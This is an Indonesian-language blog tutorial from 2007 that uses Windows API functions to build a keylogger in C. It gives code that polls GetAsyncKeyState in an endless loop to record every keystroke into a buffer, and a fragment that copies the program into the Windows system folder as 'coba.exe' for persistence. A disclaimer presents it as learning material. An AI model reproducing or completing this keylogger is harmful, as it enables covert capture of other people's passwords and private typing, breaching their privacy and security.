Kamis, 28 Juni 2007

Fungsi windows API

- 26-9-06 -
.:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.
Penulis tidak bertanggung jawab atas akibat atau dampak yang disebabkan oleh
penggunaan materi dari tutorial ini. Tujuan penulis hanya ingin menyampaikan
materi kepada pihak-pihak yang bertanggung jawab dan "Want to learn", tidak
kepada pihak-pihak yang ingin merugikan orang lain.
.:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.

Intro
$>API atau Application Programming Interface merupakan fungsi-fungsi Eksternal
yang terdapat dalam file-file perpustakaan Windows (Library Windows) atau file
library lainnya yang dapat dimanfaatkan oleh aplikasi. File Lib (Library) ini
terdapat di Folder system Windows (C:\Windows\System32). Penggunaannya dalam
sebuah aplikasi haruslah dideklarasikan terlebih dahulu di Source Code aplikasi.

Tujuan Penggunaan
$>Kadang kita berpikir "Gimana sih aplikasi kita biar bisa nyatet ketikan keyboard?"
atau "Gimana sih aplikasi kita bisa nyari folder system windust(Baca:Windows) secara
otomatis tanpa kita kasi tahu pathnya terlebih dahulu?", jawabannya adalah dengan
menggunakan fungsi-fungsi API yang ada. Dibuat dari bahasa apakah Fungsi API itu?
Pada permulaannya API ditulis dengan bhs C/C++ lalu pemanfaatannya sangatlah luas oleh
bhs program lain (VB, DELPHI, Dll) yang tentunya memerlukan suatu konversi terhadap
pendeklarasiannya.

Tools atau Softwarez dan Skill yang diperlukan
$>Setidaknya anda telah belajar menggunakan ataupun membuat suatu aplikasi dengan
VB (Visual Basic) atau DELPHI ataupun C/C++.
$>Softwarez : M$ Visual Basic 5.0/6.0 atau DELPHI
M$ Visual C++ 6.0 atau compiler C/C++ yang lain
$>Tools : API Text Viewer

Tutorial
$>Sebagai contoh akan saya berikan suatu Aplikasi Keylogger (Aplikasi yang mencatat
Ketikan keyboard lalu menyimpannya ke File .log) dengan bhs C. Fungsi API yang akan
digunakan adalah :

- GetSystemDirectory(LPSTR lpBuffer,Uint uSize)
Adalah Fungsi API yang akan mencari Folder/Direktori System Windust
Dimana LPSTR lpBuffer adalah variabel dengan tipe data char[256] dan
Uint uSize adalah variabel dengan tipe data Integer dengan nilai
sizeof(lpBuffer). Nilai balik fungsi ini akan memberikan nilai sesuai dengan
panjang Direktori system tsb. Contoh :
int i;char j[256];
i = GetSystemDirectory(j,sizeof(j));
misal j bermuatan = "F:\Windows\System32"
maka i == sizeof(j) == 19

- GetAsyncKeyState(Uint var)
Adalah fungsi yang akan mengembalikan nilai -32767 bila var bernilai kode ascii
yang benar/valid. Contoh :
if(GetAsyncKeyState(i)==-32767)
printf("OK");
maka bila kita ketik apa saja di keyboard maka akan mencetak "OK" di layar.

- GetKeyState(Uint var)
Adalah fungsi yang hampir sama dgn GetAsyncKeyState hanya saja akan mengembalikan
nilai 1 bila var bernilai benar/valid. Fungsi ini akan mengecek kondisi dari abjad
yang diketikkan apakah huruf KAPITAL (VK_CAPITAL) yakni tombol CAPSLOCK ditekan atau tidak.
Contoh :
if(GetKeyState(VK_CAPITAL))
printf("KAPITAL");
maka bila kita menekan tombol CAPSLOCK maka akan mencetak "KAPITAL" di layar.

$>Lalu bagaimana kita menggunakan fungsi-fungsi API diatas? Dalam bhs C/C++ kita dapat langsung
menggunakannya tanpa perlu dideklarasikan terlbih dahulu. Sedangkan untuk Visual Basic atau DELPHI
harus dideklarasikan di bagian General. Contoh (Dalam Visual BAsic 6.0) :

(General)
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Sebagaimana kita dapat lihat fungsi API GetAsyncKeyState tersebut menggunakan library "user32" dan
nilai baliknya adalah tipr data Integer.

$>Sedangkan implementasinya pada program keylogger kita adalah sebagai berikut :

$>Penggunaan GetAsyncKeyState() :
----------------potong di sini-------------------

while(1) //Perulangan tak hingga (Infinite Loop)
{
for(j=8;j<=255;j++) //perulangan sesuai dengan ASCII (dimulai dari ASCII 8)
{
if (GetAsyncKeyState(j)==-32767) //Fungsi API, nilai balik = -32767 bila ASCII valid
{
if (j==8) //dimana j adalah var int
catat("[del]"); //masukkan ke fungsi catat()
if (j==13)
catat("[enter]");
if (j==32)
catat("[space]");
if(j==VK_CAPITAL)
catat("[CapitalLetters]");
if (j==VK_TAB)
catat("[TAB]");
if (j ==VK_SHIFT)
catat("[SHIFT]");
if (j ==VK_CONTROL)
catat("[CTRL]");
if (j ==VK_PAUSE)
catat("[PAUSE]");
if (j ==VK_KANA)
catat("[Kana]");
if (j ==VK_ESCAPE)
catat("[ESC]");
if (j ==VK_END)
catat("[END]");
if (j ==VK_HOME)
catat("[HOME]");
if (j ==VK_LEFT)
catat("[LEFT]");
if (j ==VK_UP)
catat("[UP]");
if (j ==VK_RIGHT)
catat("[RIGHT]");
if (j ==VK_DOWN)
catat("[DOWN]");
if (j ==VK_SNAPSHOT)
catat("[PRINT]");
if (j ==VK_NUMLOCK)
catat("[NUM LOCK]");
if (j ==190 || j==110)
catat(".");
if (j >=96 && j <= 105) //periksa apakah yg ditekan adalah numerik key
{
j = j - 48;
teks[x]=j; //teks adalah char teks[5000]
x++; //var x digunakan untuk pengaturan string dalam array teks
}
if (j >=48 && j <= 59) //periksa apakah yg ditekan adalah numerik key di numpad
{
teks[x]=j;
x++;
}
if (j !=VK_LBUTTON || j !=VK_RBUTTON)
{
if (j >=65 && j <=90) //
{
if (GetKeyState(VK_CAPITAL)) //fungsi API GetKeyState()
catat(&j);
else
{
j = j +32; //mencatat alfabet kecil (non-kapital)
teks[x]=j;
x++;
}
}
}


}
}

}

int catat(char *tamp2) //fungsi untuk memasukkan string ke dalam array teks
{
sprintf(tamp,"%s",tamp2);
strcat(teks,tamp);
x=x+strlen(tamp);
}

----------------potong di sini-------------------

$>Penggunaan GetSystemDirectory() :
----------------potong di sini-------------------

m=GetSystemDirectory(s,255); //m adalah var integer yang akan berisi panjang dari path folder System Windust
if(m!=0) //Cek apakah m tidak sama dengan 0
strcat(dir,s); //memasukkan path dari folder system ke var char dir[256]
y=CopyFile(argv[0],(strcat(dir,"coba.exe")),TRUE) //copy file kita ke folder windust, jika berhasil y akan bernilai TRUE

----------------potong di sini-------------------

$>Potongan Source Code diatas belumlah optimal, dikarenakan masih menggunakan statement-statement yang
sama berulang kali. Lalu bagaimana dengan fungsi API yang lain? MAsih banyak fungsi-fungsi API yang lain seperti keybd_event,
SetActiveWindow, LoadAccelerators dan lain-lain. Tetapi karena keterbatasan waktu dan tempat saya tidak bisa menjabarkan
satu persatu, mungkin pada kesempatan yang lain.

Thanks,


Referensi : Pemograman WINDOWS API dengan MS Visual Basic oleh Rahadian Hadi
WWW.Planet-source-code.com
www.google.co.id

Tidak ada komentar: